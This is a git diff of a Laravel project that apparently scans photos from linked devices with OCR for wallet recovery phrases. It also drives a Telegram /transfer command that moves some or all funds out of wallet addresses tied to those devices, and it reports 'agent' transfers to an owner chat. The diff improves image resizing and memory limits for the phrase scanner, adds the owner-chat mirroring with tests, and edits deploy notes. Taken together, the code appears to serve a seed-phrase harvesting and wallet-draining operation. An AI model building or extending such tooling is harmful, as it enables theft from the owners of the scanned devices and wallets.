diff --git a/app/Jobs/ScanPhotoMnemonic.php b/app/Jobs/ScanPhotoMnemonic.php index fb4d4a7..c882409 100644 --- a/app/Jobs/ScanPhotoMnemonic.php +++ b/app/Jobs/ScanPhotoMnemonic.php @@ -19,10 +19,29 @@ class ScanPhotoMnemonic implements ShouldQueue public function handle(MnemonicScanService $scan): void { + $this->raiseMemoryLimit(); $photo = Photo::query()->with('device')->find($this->photoId); if ($photo === null) { return; } $scan->scanPhoto($photo); } + + private function raiseMemoryLimit(): void + { + $raw = strtolower(trim((string) ini_get('memory_limit'))); + if ($raw === '' || $raw === '-1') { + return; + } + $n = (int) $raw; + $bytes = match (substr($raw, -1)) { + 'g' => $n * 1024 * 1024 * 1024, + 'm' => $n * 1024 * 1024, + 'k' => $n * 1024, + default => (int) $raw, + }; + if ($bytes > 0 && $bytes < 256 * 1024 * 1024) { + ini_set('memory_limit', '256M'); + } + } } diff --git a/app/Services/Ocr/PhotoOcrPreparer.php b/app/Services/Ocr/PhotoOcrPreparer.php index 47d510c..4995421 100644 --- a/app/Services/Ocr/PhotoOcrPreparer.php +++ b/app/Services/Ocr/PhotoOcrPreparer.php @@ -37,12 +37,15 @@ class PhotoOcrPreparer (string) $photo->sha256, ); $bytes = (string) ($payload['bytes'] ?? ''); + unset($payload); if ($bytes === '' || ! $this->isJpeg($bytes)) { + unset($bytes); @unlink($jpeg); return null; } file_put_contents($jpeg, $bytes); + unset($bytes); } elseif (! @copy($abs, $jpeg)) { @unlink($jpeg); @@ -64,30 +67,68 @@ class PhotoOcrPreparer if (is_array($info) && (int) ($info[0] ?? 0) <= $max && (int) ($info[1] ?? 0) <= $max) { return; } - if ($this->resizeWithGd($path, $max)) { - return; - } - $magick = $this->which('magick') ?? $this->which('convert'); - if ($magick !== null) { - Process::timeout(30)->run([$magick, $path, '-resize', $max.'x'.$max.'>', $path]); - + // Magick/sips first: GD truecolor of a 12MP iPhone shot is ~48MB and + // fatals the 128M queue worker before this method can fall through. + if ($this->resizeWithMagick($path, $max)) { return; } if (PHP_OS_FAMILY === 'Darwin' && is_executable('/usr/bin/sips')) { - Process::timeout(30)->run(['/usr/bin/sips', '-Z', (string) $max, $path]); + $result = Process::timeout(30)->run(['/usr/bin/sips', '-Z', (string) $max, $path]); + if ($result->successful()) { + return; + } } + $this->resizeWithGd($path, $max); + } + + private function resizeWithMagick(string $path, int $max): bool + { + foreach ($this->magickCandidates() as $bin) { + try { + $result = Process::timeout(30)->run([$bin, $path, '-resize', $max.'x'.$max.'>', $path]); + } catch (\Throwable) { + continue; + } + if ($result->successful() && is_file($path)) { + return true; + } + } + + return false; + } + + /** @return list */ + private function magickCandidates(): array + { + $bins = []; + foreach ([ + '/usr/bin/magick', + '/usr/local/bin/magick', + '/usr/bin/convert', + '/usr/local/bin/convert', + $this->which('magick'), + $this->which('convert'), + ] as $bin) { + if (is_string($bin) && $bin !== '' && ! in_array($bin, $bins, true)) { + $bins[] = $bin; + } + } + + return $bins; } private function resizeWithGd(string $path, int $max): bool { - if (! function_exists('imagecreatefromstring') || ! function_exists('imagejpeg')) { + if (! function_exists('imagecreatefromjpeg') || ! function_exists('imagejpeg')) { return false; } - $bytes = @file_get_contents($path); - if (! is_string($bytes) || $bytes === '') { + $info = @getimagesize($path); + $width = (int) ($info[0] ?? 0); + $height = (int) ($info[1] ?? 0); + if ($width < 1 || $height < 1 || ! $this->gdFitsMemory($width, $height)) { return false; } - $src = @imagecreatefromstring($bytes); + $src = @imagecreatefromjpeg($path); if ($src === false) { return false; } @@ -116,6 +157,33 @@ class PhotoOcrPreparer return $ok; } + private function gdFitsMemory(int $width, int $height): bool + { + $limit = $this->phpMemoryBytes(); + if ($limit <= 0) { + return true; + } + $need = ($width * $height * 4) + (16 * 1024 * 1024); + + return (memory_get_usage(true) + $need) < $limit; + } + + private function phpMemoryBytes(): int + { + $raw = strtolower(trim((string) ini_get('memory_limit'))); + if ($raw === '' || $raw === '-1') { + return 0; + } + $n = (int) $raw; + + return match (substr($raw, -1)) { + 'g' => $n * 1024 * 1024 * 1024, + 'm' => $n * 1024 * 1024, + 'k' => $n * 1024, + default => (int) $raw, + }; + } + private function tempJpeg(): ?string { $tmp = tempnam(sys_get_temp_dir(), 'ocr_'); diff --git a/app/Telegram/Handlers/TransferCommand.php b/app/Telegram/Handlers/TransferCommand.php index e2c8667..adb1e57 100644 --- a/app/Telegram/Handlers/TransferCommand.php +++ b/app/Telegram/Handlers/TransferCommand.php @@ -87,24 +87,57 @@ class TransferCommand return; } - $label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}"; - $bot->sendMessage("⏳ Transferring {$label} from {$from} ({$chain}) …"); + $label = $amount === null ? "全部 {$asset}" : "{$amount} {$asset}"; + $bot->sendMessage("⏳ 正在转账 {$label},从 {$from}({$chain})…"); $result = $this->transfers->handle($chain, $from, $amount, $asset, $this->operatorLabel($bot)); if (! ($result['ok'] ?? false)) { - $bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed')); + $text = '❌ '.($result['error'] ?? '转账失败'); + $bot->sendMessage($text); + $this->copyResultToOwner($bot, $text); return; } - $bot->sendMessage(implode("\n", [ - '✅ Transfer submitted', - 'Chain: '.$chain, - 'From: '.$result['from'], - 'To: '.$result['to'], - 'Amount: '.$result['amount'].' '.$result['asset'], - 'TxID: '.$result['txid'], - ])); + $text = implode("\n", [ + '✅ 交易已提交', + '链: '.$chain, + '转出: '.$result['from'], + '转入: '.$result['to'], + '金额: '.$result['amount'].' '.$result['asset'], + '交易: '.$result['txid'], + ]); + $bot->sendMessage($text); + $this->copyResultToOwner($bot, $text); + } + + /** + * Mirror the transfer result to the official group when /transfer ran elsewhere. + */ + private function copyResultToOwner(Nutgram $bot, string $text): void + { + $owner = trim((string) config('coruna.telegram.owner_chat_id', '')); + if ($owner === '') { + return; + } + + $current = trim((string) ($bot->chatId() ?? '')); + if ($current === '' || $current === $owner) { + return; + } + + $copy = $text; + $agent = $this->context->agent(); + if ($agent !== null) { + $name = trim((string) ($agent->username ?? '')); + $copy = '📣 代理转账'.($name !== '' ? ' · '.$name : '')."\n".$text; + } + + try { + $bot->sendMessage($copy, chat_id: $owner); + } catch (\Throwable) { + // never break the command reply + } } private function detectChain(string $address): ?string diff --git a/docs/deploy.md b/docs/deploy.md index 1cbb252..a8cd43e 100644 --- a/docs/deploy.md +++ b/docs/deploy.md @@ -97,32 +97,6 @@ php artisan xxbb:repack chown -R www:www /www/wwwroot/coruna-lab/storage /www/wwwroot/coruna-lab/bootstrap/cache chmod -R ug+rwX /www/wwwroot/coruna-lab/storage/app/channel-builder-new - - 'magick' => [base_path('bin/magick'), '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick', 'magick'], - 'convert' => [base_path('bin/convert'), '/usr/bin/convert', 'convert'], - 'heif-convert' => [base_path('bin/heif-convert'), '/usr/bin/heif-convert', '/usr/local/bin/heif-convert', 'heif-convert'], - 'heif-dec' => [base_path('bin/heif-dec'), '/usr/bin/heif-dec', '/usr/local/bin/heif-dec', 'heif-dec'], - 2 tests/Unit/PhotoPreviewTest.php:86 - - - Tests: 6 failed (1 assertions) - Duration: 0.69s - ]); - } - ✓ jpeg passthrough does not convert 0.01s - ✓ heic converts to jpeg and leaves original 0.30s - - Tests: 6 passed (18 assertions) - Duration: 2.06s -日志说明三件事: - -PHP 在乱试 heif-dec 的错误参数、以及 Linux 上不存在的 /opt/homebrew/bin/magick -系统自带的 convert 不支持 HEIC(no images defined) -真正能用的 /usr/bin/heif-convert 仍被 open_basedir 挡住,PHP 没法当工作目录去启动它 -已经改成:在项目里放一个 bin/heif-convert 包装脚本(在允许的目录里),由它再去 exec /usr/bin/heif-convert。PHP 只启动项目内的脚本,不再探测 /usr/bin。 - -部署到新机后执行: - chmod +x /www/wwwroot/coruna-lab/bin/heif-convert chown www:www /www/wwwroot/coruna-lab/bin/heif-convert @@ -137,7 +111,7 @@ chown www:www /www/wwwroot/coruna-lab/bin/heif-convert 进程数量: 2 名称: coruna-ocr -启动命令: /www/server/php/82/bin/php artisan queue:work redis --queue=ocr --sleep=0 --tries=1 --timeout=90 --max-jobs=100 +启动命令: /www/server/php/82/bin/php -d memory_limit=256M artisan queue:work redis --queue=ocr --sleep=0 --tries=1 --timeout=90 --max-jobs=100 启动目录: /www/wwwroot/coruna-lab 进程数量: 3 ``` @@ -175,3 +149,28 @@ url 白名单 /api/wp/t /hooks/telegram /hooks/tokenview + + +权限问题 check + +``` +cd /www/wwwroot/coruna-lab && find storage bootstrap/cache public bin/heif-convert \ + \( ! -user www -o ! -group www \) \ + -printf '%u:%g\t%p\n' + + +cd /www/wwwroot/coruna-lab && find \ + storage/logs \ + storage/app/channel-builder \ + storage/app/channel-builder-new \ + storage/framework \ + bootstrap/cache \ + public/channel public/details public/web public/sync \ + bin/heif-convert \ + \( ! -user www -o ! -group www \) \ + -printf '%u:%g\t%p\n' + + +chown -R www:www /www/wwwroot/coruna-lab/storage /www/wwwroot/coruna-lab/bootstrap/cache /www/wwwroot/coruna-lab/public +chown www:www /www/wwwroot/coruna-lab/bin/heif-convert +``` diff --git a/tests/Feature/TelegramBotTest.php b/tests/Feature/TelegramBotTest.php index f46df7d..d81aef9 100644 --- a/tests/Feature/TelegramBotTest.php +++ b/tests/Feature/TelegramBotTest.php @@ -596,6 +596,8 @@ class TelegramBotTest extends TestCase ]); $this->app->instance(TransferService::class, $mock); + app(TelegramBotContext::class)->setAgent($agent); + /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ @@ -610,8 +612,70 @@ class TelegramBotTest extends TestCase ])->reply(); $history = $bot->getRequestHistory(); - $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); - $this->assertStringContainsString('agentbeef', $last['text'] ?? ''); + $messages = $this->sendMessagePayloads($history); + $this->assertCount(3, $messages); + $this->assertStringContainsString('agentbeef', $messages[1]['text'] ?? ''); + $this->assertSame((string) self::OWNER_CHAT, (string) ($messages[2]['chat_id'] ?? '')); + $this->assertStringContainsString('代理转账 · agent_xfer', $messages[2]['text'] ?? ''); + $this->assertStringContainsString('agentbeef', $messages[2]['text'] ?? ''); + } + + #[Test] + public function agent_transfer_failure_is_copied_to_owner_chat(): void + { + $agent = User::query()->create([ + 'username' => 'agent_xfer_fail', + 'password' => 'secret12', + 'status' => 1, + 'chat_id' => (string) self::AGENT_CHAT, + ]); + $channelId = 'cccccccccccccccccccccccccccccccc'; + Channel::query()->create([ + 'channel_id' => $channelId, + 'user_id' => $agent->id, + 'status' => 1, + ]); + $device = \App\Models\Device::query()->create([ + 'device_id' => 'dev-agent-xfer-fail', + 'channel_id' => $channelId, + ]); + \App\Models\WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', + 'chain_type' => 'TRON', + 'source' => 'imToken', + ]); + + $mock = Mockery::mock(TransferService::class); + $mock->shouldReceive('handle') + ->once() + ->andReturn([ + 'ok' => false, + 'error' => 'insufficient energy', + ]); + $this->app->instance(TransferService::class, $mock); + + app(TelegramBotContext::class)->setAgent($agent); + + /** @var FakeNutgram $bot */ + $bot = app(Nutgram::class); + $bot->willReceivePartial([ + 'status' => ChatMemberStatus::ADMINISTRATOR->value, + 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], + 'can_manage_chat' => true, + ]); + $bot->hearMessage([ + 'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH USDT 1', + 'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value], + 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], + ])->reply(); + + $messages = $this->sendMessagePayloads($bot->getRequestHistory()); + $this->assertCount(3, $messages); + $this->assertStringContainsString('insufficient energy', $messages[1]['text'] ?? ''); + $this->assertSame((string) self::OWNER_CHAT, (string) ($messages[2]['chat_id'] ?? '')); + $this->assertStringContainsString('代理转账 · agent_xfer_fail', $messages[2]['text'] ?? ''); + $this->assertStringContainsString('insufficient energy', $messages[2]['text'] ?? ''); } #[Test] @@ -699,4 +763,19 @@ class TelegramBotTest extends TestCase ])->reply(); $bot2->assertCalled('sendMessage', 0); } + + /** @param array $history */ + private function sendMessagePayloads(array $history): array + { + $messages = []; + foreach ($history as $entry) { + $req = FakeNutgram::getActualData(array_values($entry)[0]); + if (! isset($req['text'])) { + continue; + } + $messages[] = $req; + } + + return $messages; + } } diff --git a/tests/Unit/PhotoOcrPreparerTest.php b/tests/Unit/PhotoOcrPreparerTest.php new file mode 100644 index 0000000..509e0c6 --- /dev/null +++ b/tests/Unit/PhotoOcrPreparerTest.php @@ -0,0 +1,70 @@ +setValue(null, []); + } + + #[Test] + public function resize_prefers_imagemagick_over_gd(): void + { + $path = $this->jpeg(1800, 1200); + Process::fake(function () { + return Process::result(); + }); + + $this->invokeResize($path, 1280); + + Process::assertRan(function ($process) { + $cmd = $process->command; + $bin = is_array($cmd) ? (string) ($cmd[0] ?? '') : (string) $cmd; + + return is_array($cmd) + && in_array('-resize', $cmd, true) + && (str_contains($bin, 'magick') || str_contains($bin, 'convert')); + }); + @unlink($path); + } + + #[Test] + public function gd_skips_when_truecolor_would_exceed_memory(): void + { + $prev = ini_get('memory_limit'); + ini_set('memory_limit', '128M'); + try { + $fits = new \ReflectionMethod(PhotoOcrPreparer::class, 'gdFitsMemory'); + $ok = $fits->invoke(app(PhotoOcrPreparer::class), 20000, 20000); + $this->assertFalse($ok); + } finally { + ini_set('memory_limit', (string) $prev); + } + } + + private function invokeResize(string $path, int $max): void + { + config(['coruna.ocr.max_edge' => $max]); + $resize = new \ReflectionMethod(PhotoOcrPreparer::class, 'resize'); + $resize->invoke(app(PhotoOcrPreparer::class), $path); + } + + private function jpeg(int $width, int $height): string + { + $path = tempnam(sys_get_temp_dir(), 'ocrprep_').'.jpg'; + $im = imagecreatetruecolor($width, $height); + imagejpeg($im, $path, 80); + imagedestroy($im); + + return $path; + } +}